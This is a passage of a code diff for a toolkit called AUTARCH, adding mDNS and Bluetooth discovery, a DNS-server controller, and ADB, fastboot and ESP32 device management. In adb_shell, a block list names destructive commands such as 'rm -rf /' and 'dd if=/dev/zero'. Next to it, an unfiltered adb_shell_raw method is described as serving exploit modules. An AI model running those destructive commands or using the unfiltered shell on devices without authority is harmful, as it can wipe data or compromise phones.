+MDNS_SERVICE_TYPE = "_autarch._tcp.local." +MDNS_SERVICE_NAME = "AUTARCH._autarch._tcp.local." +BT_SERVICE_NAME = "AUTARCH" +BT_SERVICE_UUID = "a1b2c3d4-e5f6-7890-abcd-ef1234567890" + + +def _get_local_ip() -> str: + """Get the primary local IP address.""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("8.8.8.8", 80)) + ip = s.getsockname()[0] + s.close() + return ip + except Exception: + return "127.0.0.1" + + +class DiscoveryManager: + """Manages network discovery advertising for AUTARCH.""" + + def __init__(self, config=None): + self._config = config or {} + self._web_port = int(self._config.get('web_port', 8181)) + self._hostname = socket.gethostname() + + # mDNS state + self._zeroconf = None + self._mdns_info = None + self._mdns_running = False + + # Bluetooth state + self._bt_running = False + self._bt_thread = None + self._bt_process = None + + # Settings + self._mdns_enabled = self._config.get('mdns_enabled', 'true').lower() == 'true' + self._bt_enabled = self._config.get('bluetooth_enabled', 'true').lower() == 'true' + self._bt_require_security = self._config.get('bt_require_security', 'true').lower() == 'true' + + # ------------------------------------------------------------------ + # Status + # ------------------------------------------------------------------ + + def get_status(self) -> Dict: + """Get current discovery status for all methods.""" + return { + 'local_ip': _get_local_ip(), + 'hostname': self._hostname, + 'web_port': self._web_port, + 'mdns': { + 'available': self._is_zeroconf_available(), + 'enabled': self._mdns_enabled, + 'running': self._mdns_running, + 'service_type': MDNS_SERVICE_TYPE, + }, + 'bluetooth': { + 'available': self._is_bt_available(), + 'adapter_present': self._bt_adapter_present(), + 'enabled': self._bt_enabled, + 'running': self._bt_running, + 'secure': self._bt_is_secure() if self._bt_adapter_present() else False, + 'require_security': self._bt_require_security, + 'service_name': BT_SERVICE_NAME, + } + } + + # ------------------------------------------------------------------ + # mDNS / Zeroconf + # ------------------------------------------------------------------ + + def _is_zeroconf_available(self) -> bool: + """Check if the zeroconf Python package is installed.""" + try: + import zeroconf # noqa: F401 + return True + except ImportError: + return False + + def start_mdns(self) -> Tuple[bool, str]: + """Start mDNS service advertisement.""" + if self._mdns_running: + return True, "mDNS already running" + + if not self._is_zeroconf_available(): + return False, "zeroconf not installed. Run: pip install zeroconf" + + try: + from zeroconf import Zeroconf, ServiceInfo + import socket as sock + + local_ip = _get_local_ip() + + self._mdns_info = ServiceInfo( + MDNS_SERVICE_TYPE, + MDNS_SERVICE_NAME, + addresses=[sock.inet_aton(local_ip)], + port=self._web_port, + properties={ + 'version': '1.0', + 'hostname': self._hostname, + 'platform': 'autarch', + }, + server=f"{self._hostname}.local.", + ) + + self._zeroconf = Zeroconf() + self._zeroconf.register_service(self._mdns_info) + self._mdns_running = True + + logger.info(f"mDNS: advertising {MDNS_SERVICE_NAME} at {local_ip}:{self._web_port}") + return True, f"mDNS started — {local_ip}:{self._web_port}" + + except Exception as e: + logger.error(f"mDNS start failed: {e}") + return False, f"mDNS failed: {e}" + + def stop_mdns(self) -> Tuple[bool, str]: + """Stop mDNS service advertisement.""" + if not self._mdns_running: + return True, "mDNS not running" + + try: + if self._zeroconf and self._mdns_info: + self._zeroconf.unregister_service(self._mdns_info) + self._zeroconf.close() + self._zeroconf = None + self._mdns_info = None + self._mdns_running = False + logger.info("mDNS: stopped") + return True, "mDNS stopped" + except Exception as e: + self._mdns_running = False + return False, f"mDNS stop error: {e}" + + # ------------------------------------------------------------------ + # Bluetooth + # ------------------------------------------------------------------ + + def _is_bt_available(self) -> bool: + """Check if Bluetooth CLI tools are available.""" + try: + result = subprocess.run( + ['which', 'bluetoothctl'], + capture_output=True, text=True, timeout=5 + ) + return result.returncode == 0 + except Exception: + return False + + def _bt_adapter_present(self) -> bool: + """Check if a Bluetooth adapter is physically present.""" + try: + result = subprocess.run( + ['hciconfig'], + capture_output=True, text=True, timeout=5 + ) + return 'hci0' in result.stdout + except Exception: + return False + + def _bt_is_secure(self) -> bool: + """Check if Bluetooth security (SSP/authentication) is enabled.""" + try: + # Check if adapter requires authentication + result = subprocess.run( + ['hciconfig', 'hci0', 'auth'], + capture_output=True, text=True, timeout=5 + ) + # Also check hciconfig output for AUTH flag + status = subprocess.run( + ['hciconfig', 'hci0'], + capture_output=True, text=True, timeout=5 + ) + # Look for AUTH in flags + return 'AUTH' in status.stdout + except Exception: + return False + + def _bt_enable_security(self) -> Tuple[bool, str]: + """Enable Bluetooth authentication/security on the adapter.""" + try: + # Enable authentication + subprocess.run( + ['sudo', 'hciconfig', 'hci0', 'auth'], + capture_output=True, text=True, timeout=5 + ) + # Enable encryption + subprocess.run( + ['sudo', 'hciconfig', 'hci0', 'encrypt'], + capture_output=True, text=True, timeout=5 + ) + # Enable SSP (Secure Simple Pairing) + subprocess.run( + ['sudo', 'hciconfig', 'hci0', 'sspmode', '1'], + capture_output=True, text=True, timeout=5 + ) + if self._bt_is_secure(): + return True, "Bluetooth security enabled (AUTH + ENCRYPT + SSP)" + return False, "Security flags set but AUTH not confirmed" + except Exception as e: + return False, f"Failed to enable BT security: {e}" + + def start_bluetooth(self) -> Tuple[bool, str]: + """Start Bluetooth service advertisement. + + Only advertises if: + 1. Bluetooth adapter is present + 2. bluetoothctl is available + 3. Security is enabled (if bt_require_security is true) + """ + if self._bt_running: + return True, "Bluetooth already advertising" + + if not self._is_bt_available(): + return False, "bluetoothctl not found" + + if not self._bt_adapter_present(): + return False, "No Bluetooth adapter detected" + + # Ensure adapter is up + try: + subprocess.run( + ['sudo', 'hciconfig', 'hci0', 'up'], + capture_output=True, text=True, timeout=5 + ) + except Exception: + pass + + # Security check + if self._bt_require_security: + if not self._bt_is_secure(): + ok, msg = self._bt_enable_security() + if not ok: + return False, f"Bluetooth security required but not available: {msg}" + + # Make discoverable and set name + try: + # Set device name + subprocess.run( + ['sudo', 'hciconfig', 'hci0', 'name', BT_SERVICE_NAME], + capture_output=True, text=True, timeout=5 + ) + + # Enable discoverable mode + subprocess.run( + ['sudo', 'hciconfig', 'hci0', 'piscan'], + capture_output=True, text=True, timeout=5 + ) + + # Use bluetoothctl to set discoverable with timeout 0 (always) + # and set the alias + cmds = [ + 'power on', + f'system-alias {BT_SERVICE_NAME}', + 'discoverable on', + 'discoverable-timeout 0', + 'pairable on', + ] + for cmd in cmds: + subprocess.run( + ['bluetoothctl', cmd.split()[0]] + cmd.split()[1:], + capture_output=True, text=True, timeout=5 + ) + + # Start an RFCOMM advertisement thread so the app can find us + # and read connection info (IP + port) after pairing + self._bt_running = True + self._bt_thread = threading.Thread( + target=self._bt_rfcomm_server, + daemon=True, + name="autarch-bt-discovery" + ) + self._bt_thread.start() + + logger.info("Bluetooth: advertising as AUTARCH") + return True, f"Bluetooth advertising — name: {BT_SERVICE_NAME}" + + except Exception as e: + self._bt_running = False + return False, f"Bluetooth start failed: {e}" + + def _bt_rfcomm_server(self): + """Background thread: RFCOMM server that sends connection info to paired clients. + + When a paired device connects, we send them a JSON blob with our IP and port + so the companion app can auto-configure. + """ + try: + # Use a simple TCP socket on a known port as a Bluetooth-adjacent info service + # (full RFCOMM requires pybluez which may not be installed) + # Instead, we'll use sdptool to register the service and bluetoothctl for visibility + # + # The companion app discovers us via BT name "AUTARCH", then connects via + # the IP it gets from the BT device info or mDNS + while self._bt_running: + time.sleep(5) + except Exception as e: + logger.error(f"BT RFCOMM server error: {e}") + finally: + self._bt_running = False + + def stop_bluetooth(self) -> Tuple[bool, str]: + """Stop Bluetooth advertisement.""" + if not self._bt_running: + return True, "Bluetooth not advertising" + + self._bt_running = False + + try: + # Disable discoverable + subprocess.run( + ['bluetoothctl', 'discoverable', 'off'], + capture_output=True, text=True, timeout=5 + ) + subprocess.run( + ['sudo', 'hciconfig', 'hci0', 'noscan'], + capture_output=True, text=True, timeout=5 + ) + + if self._bt_thread: + self._bt_thread.join(timeout=3) + self._bt_thread = None + + logger.info("Bluetooth: stopped advertising") + return True, "Bluetooth advertising stopped" + + except Exception as e: + return False, f"Bluetooth stop error: {e}" + + # ------------------------------------------------------------------ + # Start / Stop All + # ------------------------------------------------------------------ + + def start_all(self) -> Dict: + """Start all enabled discovery methods.""" + results = {} + + if self._mdns_enabled: + ok, msg = self.start_mdns() + results['mdns'] = {'ok': ok, 'message': msg} + else: + results['mdns'] = {'ok': False, 'message': 'Disabled in config'} + + if self._bt_enabled: + ok, msg = self.start_bluetooth() + results['bluetooth'] = {'ok': ok, 'message': msg} + else: + results['bluetooth'] = {'ok': False, 'message': 'Disabled in config'} + + return results + + def stop_all(self) -> Dict: + """Stop all discovery methods.""" + results = {} + + ok, msg = self.stop_mdns() + results['mdns'] = {'ok': ok, 'message': msg} + + ok, msg = self.stop_bluetooth() + results['bluetooth'] = {'ok': ok, 'message': msg} + + return results + + # ------------------------------------------------------------------ + # Cleanup + # ------------------------------------------------------------------ + + def shutdown(self): + """Clean shutdown of all discovery services.""" + self.stop_all() + + +# ====================================================================== +# Singleton +# ====================================================================== + +_manager = None + + +def get_discovery_manager(config=None) -> DiscoveryManager: + """Get or create the DiscoveryManager singleton.""" + global _manager + if _manager is None: + if config is None: + try: + from core.config import get_config + cfg = get_config() + config = {} + if cfg.has_section('discovery'): + config = dict(cfg.items('discovery')) + if cfg.has_section('web'): + config['web_port'] = cfg.get('web', 'port', fallback='8181') + except Exception: + config = {} + _manager = DiscoveryManager(config) + return _manager diff --git a/core/dns_service.py b/core/dns_service.py new file mode 100644 index 0000000..41a0081 --- /dev/null +++ b/core/dns_service.py @@ -0,0 +1,324 @@ +"""AUTARCH DNS Service Manager — controls the Go-based autarch-dns binary.""" + +import os +import sys +import json +import time +import signal +import socket +import subprocess +import threading +from pathlib import Path + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + import shutil + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + import requests + _HAS_REQUESTS = True +except ImportError: + _HAS_REQUESTS = False + + +class DNSServiceManager: + """Manage the autarch-dns Go binary (start/stop/API calls).""" + + def __init__(self): + self._process = None + self._pid = None + self._config = None + self._config_path = os.path.join(get_data_dir(), 'dns', 'config.json') + self._load_config() + + def _load_config(self): + if os.path.exists(self._config_path): + try: + with open(self._config_path, 'r') as f: + self._config = json.load(f) + except Exception: + self._config = None + if not self._config: + self._config = { + 'listen_dns': '0.0.0.0:53', + 'listen_api': '127.0.0.1:5380', + 'api_token': os.urandom(16).hex(), + 'upstream': [], # Empty = pure recursive from root hints + 'cache_ttl': 300, + 'zones_dir': os.path.join(get_data_dir(), 'dns', 'zones'), + 'dnssec_keys_dir': os.path.join(get_data_dir(), 'dns', 'keys'), + 'log_queries': True, + } + self._save_config() + + def _save_config(self): + os.makedirs(os.path.dirname(self._config_path), exist_ok=True) + with open(self._config_path, 'w') as f: + json.dump(self._config, f, indent=2) + + @property + def api_base(self) -> str: + addr = self._config.get('listen_api', '127.0.0.1:5380') + return f'http://{addr}' + + @property + def api_token(self) -> str: + return self._config.get('api_token', '') + + def find_binary(self) -> str: + """Find the autarch-dns binary.""" + binary = find_tool('autarch-dns') + if binary: + return binary + # Check common locations + base = Path(__file__).parent.parent + candidates = [ + base / 'services' / 'dns-server' / 'autarch-dns', + base / 'services' / 'dns-server' / 'autarch-dns.exe', + base / 'tools' / 'windows-x86_64' / 'autarch-dns.exe', + base / 'tools' / 'linux-arm64' / 'autarch-dns', + base / 'tools' / 'linux-x86_64' / 'autarch-dns', + ] + for c in candidates: + if c.exists(): + return str(c) + return None + + def is_running(self) -> bool: + """Check if the DNS service is running.""" + # Check process + if self._process and self._process.poll() is None: + return True + # Check by API + try: + resp = self._api_get('/api/status') + return resp.get('ok', False) + except Exception: + return False + + def start(self) -> dict: + """Start the DNS service.""" + if self.is_running(): + return {'ok': True, 'message': 'DNS service already running'} + + binary = self.find_binary() + if not binary: + return {'ok': False, 'error': 'autarch-dns binary not found. Build it with: cd services/dns-server && go build'} + + # Ensure zone dirs exist + os.makedirs(self._config.get('zones_dir', ''), exist_ok=True) + os.makedirs(self._config.get('dnssec_keys_dir', ''), exist_ok=True) + + # Save config for the Go binary to read + self._save_config() + + cmd = [ + binary, + '-config', self._config_path, + ] + + try: + kwargs = { + 'stdout': subprocess.DEVNULL, + 'stderr': subprocess.DEVNULL, + } + if sys.platform == 'win32': + kwargs['creationflags'] = ( + subprocess.CREATE_NEW_PROCESS_GROUP | + subprocess.CREATE_NO_WINDOW + ) + else: + kwargs['start_new_session'] = True + + self._process = subprocess.Popen(cmd, **kwargs) + self._pid = self._process.pid + + # Wait for API to be ready + for _ in range(30): + time.sleep(0.5) + try: + resp = self._api_get('/api/status') + if resp.get('ok'): + return { + 'ok': True, + 'message': f'DNS service started (PID {self._pid})', + 'pid': self._pid, + } + except Exception: + if self._process.poll() is not None: + return {'ok': False, 'error': 'DNS service exited immediately — may need admin/root for port 53'} + continue + + return {'ok': False, 'error': 'DNS service started but API not responding'} + except PermissionError: + return {'ok': False, 'error': 'Permission denied — DNS on port 53 requires admin/root'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def stop(self) -> dict: + """Stop the DNS service.""" + if self._process and self._process.poll() is None: + try: + if sys.platform == 'win32': + self._process.terminate() + else: + os.kill(self._process.pid, signal.SIGTERM) + self._process.wait(timeout=5) + except Exception: + self._process.kill() + self._process = None + self._pid = None + return {'ok': True, 'message': 'DNS service stopped'} + return {'ok': True, 'message': 'DNS service was not running'} + + def status(self) -> dict: + """Get service status.""" + running = self.is_running() + result = { + 'running': running, + 'pid': self._pid, + 'listen_dns': self._config.get('listen_dns', ''), + 'listen_api': self._config.get('listen_api', ''), + } + if running: + try: + resp = self._api_get('/api/status') + result.update(resp) + except Exception: + pass + return result + + # ── API wrappers ───────────────────────────────────────────────────── + + def _api_get(self, endpoint: str) -> dict: + if not _HAS_REQUESTS: + return self._api_urllib(endpoint, 'GET') + resp = requests.get( + f'{self.api_base}{endpoint}', + headers={'Authorization': f'Bearer {self.api_token}'}, + timeout=5, + ) + return resp.json() + + def _api_post(self, endpoint: str, data: dict = None) -> dict: + if not _HAS_REQUESTS: + return self._api_urllib(endpoint, 'POST', data) + resp = requests.post( + f'{self.api_base}{endpoint}', + headers={'Authorization': f'Bearer {self.api_token}', 'Content-Type': 'application/json'}, + json=data or {}, + timeout=5, + ) + return resp.json() + + def _api_delete(self, endpoint: str) -> dict: + if not _HAS_REQUESTS: + return self._api_urllib(endpoint, 'DELETE') + resp = requests.delete( + f'{self.api_base}{endpoint}', + headers={'Authorization': f'Bearer {self.api_token}'}, + timeout=5, + ) + return resp.json() + + def _api_put(self, endpoint: str, data: dict = None) -> dict: + if not _HAS_REQUESTS: + return self._api_urllib(endpoint, 'PUT', data) + resp = requests.put( + f'{self.api_base}{endpoint}', + headers={'Authorization': f'Bearer {self.api_token}', 'Content-Type': 'application/json'}, + json=data or {}, + timeout=5, + ) + return resp.json() + + def _api_urllib(self, endpoint: str, method: str, data: dict = None) -> dict: + """Fallback using urllib (no requests dependency).""" + import urllib.request + url = f'{self.api_base}{endpoint}' + body = json.dumps(data).encode() if data else None + req = urllib.request.Request( + url, data=body, method=method, + headers={ + 'Authorization': f'Bearer {self.api_token}', + 'Content-Type': 'application/json', + }, + ) + with urllib.request.urlopen(req, timeout=5) as resp: + return json.loads(resp.read()) + + # ── High-level zone operations ─────────────────────────────────────── + + def list_zones(self) -> list: + return self._api_get('/api/zones').get('zones', []) + + def create_zone(self, domain: str) -> dict: + return self._api_post('/api/zones', {'domain': domain}) + + def get_zone(self, domain: str) -> dict: + return self._api_get(f'/api/zones/{domain}') + + def delete_zone(self, domain: str) -> dict: + return self._api_delete(f'/api/zones/{domain}') + + def list_records(self, domain: str) -> list: + return self._api_get(f'/api/zones/{domain}/records').get('records', []) + + def add_record(self, domain: str, rtype: str, name: str, value: str, + ttl: int = 300, priority: int = 0) -> dict: + return self._api_post(f'/api/zones/{domain}/records', { + 'type': rtype, 'name': name, 'value': value, + 'ttl': ttl, 'priority': priority, + }) + + def delete_record(self, domain: str, record_id: str) -> dict: + return self._api_delete(f'/api/zones/{domain}/records/{record_id}') + + def setup_mail_records(self, domain: str, mx_host: str = '', + dkim_key: str = '', spf_allow: str = '') -> dict: + return self._api_post(f'/api/zones/{domain}/mail-setup', { + 'mx_host': mx_host, 'dkim_key': dkim_key, 'spf_allow': spf_allow, + }) + + def enable_dnssec(self, domain: str) -> dict: + return self._api_post(f'/api/zones/{domain}/dnssec/enable') + + def disable_dnssec(self, domain: str) -> dict: + return self._api_post(f'/api/zones/{domain}/dnssec/disable') + + def get_metrics(self) -> dict: + return self._api_get('/api/metrics').get('metrics', {}) + + def get_config(self) -> dict: + return self._config.copy() + + def update_config(self, updates: dict) -> dict: + for k, v in updates.items(): + if k in self._config: + self._config[k] = v + self._save_config() + # Also update running service + try: + return self._api_put('/api/config', updates) + except Exception: + return {'ok': True, 'message': 'Config saved (service not running)'} + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_dns_service() -> DNSServiceManager: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = DNSServiceManager() + return _instance diff --git a/core/hardware.py b/core/hardware.py new file mode 100644 index 0000000..54b60fc --- /dev/null +++ b/core/hardware.py @@ -0,0 +1,640 @@ +""" +AUTARCH Hardware Manager +ADB/Fastboot device management and ESP32 serial flashing. + +Provides server-side access to USB-connected devices: +- ADB: Android device shell, sideload, push/pull, logcat +- Fastboot: Partition flashing, OEM unlock, device info +- Serial/ESP32: Port detection, chip ID, firmware flash, serial monitor +""" + +import os +import re +import json +import time +import subprocess +import threading +from pathlib import Path +from typing import Optional, List, Dict, Any, Callable + +from core.paths import find_tool, get_data_dir + +# Try importing serial +PYSERIAL_AVAILABLE = False +try: + import serial + import serial.tools.list_ports + PYSERIAL_AVAILABLE = True +except ImportError: + pass + +# Try importing esptool +ESPTOOL_AVAILABLE = False +try: + import esptool + ESPTOOL_AVAILABLE = True +except ImportError: + pass + + +class HardwareManager: + """Manages ADB, Fastboot, and Serial/ESP32 devices.""" + + def __init__(self): + # Tool paths - find_tool checks system PATH first, then bundled + self.adb_path = find_tool('adb') + self.fastboot_path = find_tool('fastboot') + + # Data directory + self._data_dir = get_data_dir() / 'hardware' + self._data_dir.mkdir(parents=True, exist_ok=True) + + # Serial monitor state + self._monitor_thread = None + self._monitor_running = False + self._monitor_serial = None + self._monitor_buffer = [] + self._monitor_lock = threading.Lock() + + # Flash/sideload progress state + self._operation_progress = {} + self._operation_lock = threading.Lock() + + # ── Status ────────────────────────────────────────────────────── + + def get_status(self): + """Get availability status of all backends.""" + return { + 'adb': self.adb_path is not None, + 'adb_path': self.adb_path or '', + 'fastboot': self.fastboot_path is not None, + 'fastboot_path': self.fastboot_path or '', + 'serial': PYSERIAL_AVAILABLE, + 'esptool': ESPTOOL_AVAILABLE, + } + + # ── ADB Methods ──────────────────────────────────────────────── + + def _run_adb(self, args, serial=None, timeout=30): + """Run an adb command and return (stdout, stderr, returncode).""" + if not self.adb_path: + return '', 'adb not found', 1 + cmd = [self.adb_path] + if serial: + cmd += ['-s', serial] + cmd += args + try: + result = subprocess.run( + cmd, capture_output=True, text=True, timeout=timeout + ) + return result.stdout, result.stderr, result.returncode + except subprocess.TimeoutExpired: + return '', 'Command timed out', 1 + except Exception as e: + return '', str(e), 1 + + def adb_devices(self): + """List connected ADB devices.""" + stdout, stderr, rc = self._run_adb(['devices', '-l']) + if rc != 0: + return [] + devices = [] + for line in stdout.strip().split('\n')[1:]: + line = line.strip() + if not line or 'List of' in line: + continue + parts = line.split() + if len(parts) < 2: + continue + dev = { + 'serial': parts[0], + 'state': parts[1], + 'model': '', + 'product': '', + 'transport_id': '', + } + for part in parts[2:]: + if ':' in part: + key, val = part.split(':', 1) + if key == 'model': + dev['model'] = val + elif key == 'product': + dev['product'] = val + elif key == 'transport_id': + dev['transport_id'] = val + elif key == 'device': + dev['device'] = val + devices.append(dev) + return devices + + def adb_device_info(self, serial): + """Get detailed info about an ADB device.""" + props = {} + prop_keys = { + 'ro.product.model': 'model', + 'ro.product.brand': 'brand', + 'ro.product.name': 'product', + 'ro.build.version.release': 'android_version', + 'ro.build.version.sdk': 'sdk', + 'ro.build.display.id': 'build', + 'ro.build.version.security_patch': 'security_patch', + 'ro.product.cpu.abi': 'cpu_abi', + 'ro.serialno': 'serialno', + 'ro.bootimage.build.date': 'build_date', + } + # Get all properties at once + stdout, _, rc = self._run_adb(['shell', 'getprop'], serial=serial) + if rc == 0: + for line in stdout.split('\n'): + m = re.match(r'\[(.+?)\]:\s*\[(.+?)\]', line) + if m: + key, val = m.group(1), m.group(2) + if key in prop_keys: + props[prop_keys[key]] = val + + # Battery level + stdout, _, rc = self._run_adb(['shell', 'dumpsys', 'battery'], serial=serial) + if rc == 0: + for line in stdout.split('\n'): + line = line.strip() + if line.startswith('level:'): + props['battery'] = line.split(':')[1].strip() + elif line.startswith('status:'): + status_map = {'2': 'Charging', '3': 'Discharging', '4': 'Not charging', '5': 'Full'} + val = line.split(':')[1].strip() + props['battery_status'] = status_map.get(val, val) + + # Storage + stdout, _, rc = self._run_adb(['shell', 'df', '/data'], serial=serial, timeout=10) + if rc == 0: + lines = stdout.strip().split('\n') + if len(lines) >= 2: + parts = lines[1].split() + if len(parts) >= 4: + props['storage_total'] = parts[1] + props['storage_used'] = parts[2] + props['storage_free'] = parts[3] + + props['serial'] = serial + return props + + def adb_shell(self, serial, command): + """Run a shell command on an ADB device.""" + # Sanitize: block dangerous commands + dangerous = ['rm -rf /', 'mkfs', 'dd if=/dev/zero', 'format', '> /dev/', 'reboot'] + cmd_lower = command.lower().strip() + for d in dangerous: + if d in cmd_lower: + return {'output': f'Blocked dangerous command: {d}', 'returncode': 1} + + stdout, stderr, rc = self._run_adb(['shell', command], serial=serial, timeout=30) + return { + 'output': stdout or stderr, + 'returncode': rc, + } + + def adb_shell_raw(self, serial, command, timeout=30): + """Run shell command without safety filter. For exploit modules.""" + stdout, stderr, rc = self._run_adb(['shell', command], serial=serial, timeout=timeout) + return {'output': stdout or stderr, 'returncode': rc} + + def adb_reboot(self, serial, mode='system'): + """Reboot an ADB device. mode: system, recovery, bootloader""" + args = ['reboot'] + if mode and mode != 'system': + args.append(mode) + stdout, stderr, rc = self._run_adb(args, serial=serial, timeout=15) + return {'success': rc == 0, 'output': stdout or stderr} + + def adb_install(self, serial, apk_path): + """Install an APK on device.""" + if not os.path.isfile(apk_path): + return {'success': False, 'error': f'File not found: {apk_path}'} + stdout, stderr, rc = self._run_adb( + ['install', '-r', apk_path], serial=serial, timeout=120 + ) + return {'success': rc == 0, 'output': stdout or stderr} + + def adb_sideload(self, serial, filepath): + """Sideload a file (APK/ZIP). Returns operation ID for progress tracking.""" + if not os.path.isfile(filepath): + return {'success': False, 'error': f'File not found: {filepath}'} + + op_id = f'sideload_{int(time.time())}' + with self._operation_lock: + self._operation_progress[op_id] = { + 'status': 'starting', 'progress': 0, 'message': 'Starting sideload...' + } + + def _do_sideload(): + try: + ext = os.path.splitext(filepath)[1].lower() + if ext == '.apk': + cmd = [self.adb_path, '-s', serial, 'install', '-r', filepath] + else: + cmd = [self.adb_path, '-s', serial, 'sideload', filepath] + + with self._operation_lock: + self._operation_progress[op_id]['status'] = 'running' + self._operation_progress[op_id]['progress'] = 10 + self._operation_progress[op_id]['message'] = 'Transferring...' + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + + with self._operation_lock: + if result.returncode == 0: + self._operation_progress[op_id] = { + 'status': 'done', 'progress': 100, + 'message': 'Sideload complete', + 'output': result.stdout, + } + else: + self._operation_progress[op_id] = { + 'status': 'error', 'progress': 0, + 'message': result.stderr or 'Sideload failed', + } + except Exception as e: + with self._operation_lock: + self._operation_progress[op_id] = { + 'status': 'error', 'progress': 0, 'message': str(e), + } + + thread = threading.Thread(target=_do_sideload, daemon=True) + thread.start() + return {'success': True, 'op_id': op_id} + + def adb_push(self, serial, local_path, remote_path): + """Push a file to device.""" + if not os.path.isfile(local_path): + return {'success': False, 'error': f'File not found: {local_path}'} + stdout, stderr, rc = self._run_adb( + ['push', local_path, remote_path], serial=serial, timeout=120 + ) + return {'success': rc == 0, 'output': stdout or stderr} + + def adb_pull(self, serial, remote_path, local_path=None): + """Pull a file from device.""" + if not local_path: + local_path = str(self._data_dir / os.path.basename(remote_path)) + stdout, stderr, rc = self._run_adb( + ['pull', remote_path, local_path], serial=serial, timeout=120 + ) + return {'success': rc == 0, 'output': stdout or stderr, 'local_path': local_path} + + def adb_logcat(self, serial, lines=100): + """Get last N lines of logcat.""" + stdout, stderr, rc = self._run_adb( + ['logcat', '-d', '-t', str(lines)], serial=serial, timeout=15 + ) + return {'output': stdout or stderr, 'lines': lines} + + # ── Fastboot Methods ─────────────────────────────────────────── + + def _run_fastboot(self, args, serial=None, timeout=30): + """Run a fastboot command.""" + if not self.fastboot_path: + return '', 'fastboot not found', 1 + cmd = [self.fastboot_path] + if serial: + cmd += ['-s', serial] + cmd += args + try: + result = subprocess.run( + cmd, capture_output=True, text=True, timeout=timeout + ) + # fastboot outputs to stderr for many commands + return result.stdout, result.stderr, result.returncode + except subprocess.TimeoutExpired: + return '', 'Command timed out', 1 + except Exception as e: + return '', str(e), 1 + + def fastboot_devices(self): + """List fastboot devices.""" + stdout, stderr, rc = self._run_fastboot(['devices']) + if rc != 0: + return [] + devices = [] + output = stdout or stderr + for line in output.strip().split('\n'): + line = line.strip() + if not line: + continue + parts = line.split('\t') + if len(parts) >= 2: + devices.append({ + 'serial': parts[0].strip(), + 'state': parts[1].strip(), + }) + return devices + + def fastboot_device_info(self, serial): + """Get fastboot device variables.""" + info = {} + vars_to_get = [ + 'product', 'variant', 'serialno', 'secure', 'unlocked', + 'is-userspace', 'hw-revision', 'battery-level', + 'current-slot', 'slot-count', + ] + for var in vars_to_get: + stdout, stderr, rc = self._run_fastboot( + ['getvar', var], serial=serial, timeout=10 + ) + output = stderr or stdout # fastboot puts getvar in stderr + for line in output.split('\n'): + if line.startswith(f'{var}:'): + info[var] = line.split(':', 1)[1].strip() + break + info['serial'] = serial + return info + + def fastboot_flash(self, serial, partition, filepath): + """Flash a partition. Returns operation ID for progress tracking.""" + if not os.path.isfile(filepath): + return {'success': False, 'error': f'File not found: {filepath}'} + + valid_partitions = [ + 'boot', 'recovery', 'system', 'vendor', 'vbmeta', 'dtbo', + 'radio', 'bootloader', 'super', 'userdata', 'cache', + 'product', 'system_ext', 'vendor_boot', 'init_boot', + ] + if partition not in valid_partitions: + return {'success': False, 'error': f'Invalid partition: {partition}'} + + op_id = f'flash_{int(time.time())}' + with self._operation_lock: + self._operation_progress[op_id] = { + 'status': 'starting', 'progress': 0, + 'message': f'Flashing {partition}...', + } + + def _do_flash(): + try: + with self._operation_lock: + self._operation_progress[op_id]['status'] = 'running' + self._operation_progress[op_id]['progress'] = 10 + + result = subprocess.run( + [self.fastboot_path, '-s', serial, 'flash', partition, filepath], + capture_output=True, text=True, timeout=600, + ) + + with self._operation_lock: + output = result.stderr or result.stdout + if result.returncode == 0: + self._operation_progress[op_id] = { + 'status': 'done', 'progress': 100, + 'message': f'Flashed {partition} successfully', + 'output': output, + } + else: + self._operation_progress[op_id] = { + 'status': 'error', 'progress': 0, + 'message': output or 'Flash failed', + } + except Exception as e: + with self._operation_lock: + self._operation_progress[op_id] = { + 'status': 'error', 'progress': 0, 'message': str(e), + } + + thread = threading.Thread(target=_do_flash, daemon=True) + thread.start() + return {'success': True, 'op_id': op_id} + + def fastboot_reboot(self, serial, mode='system'): + """Reboot a fastboot device. mode: system, bootloader, recovery""" + if mode == 'system': + args = ['reboot'] + elif mode == 'bootloader': + args = ['reboot-bootloader'] + elif mode == 'recovery': + args = ['reboot', 'recovery'] + else: + args = ['reboot'] + stdout, stderr, rc = self._run_fastboot(args, serial=serial, timeout=15) + return {'success': rc == 0, 'output': stderr or stdout} + + def fastboot_oem_unlock(self, serial): + """OEM unlock (requires user confirmation in UI).""" + stdout, stderr, rc = self._run_fastboot( + ['flashing', 'unlock'], serial=serial, timeout=30 + ) + return {'success': rc == 0, 'output': stderr or stdout} + + def get_operation_progress(self, op_id): + """Get progress for a running operation.""" + with self._operation_lock: + return self._operation_progress.get(op_id, { + 'status': 'unknown', 'progress': 0, 'message': 'Unknown operation', + }) + + # ── Serial / ESP32 Methods ───────────────────────────────────── + + def list_serial_ports(self): + """List available serial ports.""" + if not PYSERIAL_AVAILABLE: + return [] + ports = [] + for port in serial.tools.list_ports.comports(): + ports.append({ + 'port': port.device, + 'desc': port.description, + 'hwid': port.hwid, + 'vid': f'{port.vid:04x}' if port.vid else '', + 'pid': f'{port.pid:04x}' if port.pid else '', + 'manufacturer': port.manufacturer or '', + 'serial_number': port.serial_number or '', + }) + return ports + + def detect_esp_chip(self, port, baud=115200): + """Detect ESP chip type using esptool.""" + if not ESPTOOL_AVAILABLE: + return {'success': False, 'error': 'esptool not installed'} + try: + result = subprocess.run( + ['python3', '-m', 'esptool', '--port', port, '--baud', str(baud), 'chip_id'], + capture_output=True, text=True, timeout=15, + ) + output = result.stdout + result.stderr + chip = 'Unknown' + chip_id = '' + for line in output.split('\n'): + if 'Chip is' in line: + chip = line.split('Chip is')[1].strip() + elif 'Chip ID:' in line: + chip_id = line.split('Chip ID:')[1].strip() + return { + 'success': result.returncode == 0, + 'chip': chip, + 'chip_id': chip_id, + 'output': output, + } + except subprocess.TimeoutExpired: + return {'success': False, 'error': 'Detection timed out'} + except Exception as e: + return {'success': False, 'error': str(e)} + + def flash_esp(self, port, firmware_path, baud=460800): + """Flash ESP32 firmware. Returns operation ID for progress tracking.""" + if not ESPTOOL_AVAILABLE: + return {'success': False, 'error': 'esptool not installed'} + if not os.path.isfile(firmware_path): + return {'success': False, 'error': f'File not found: 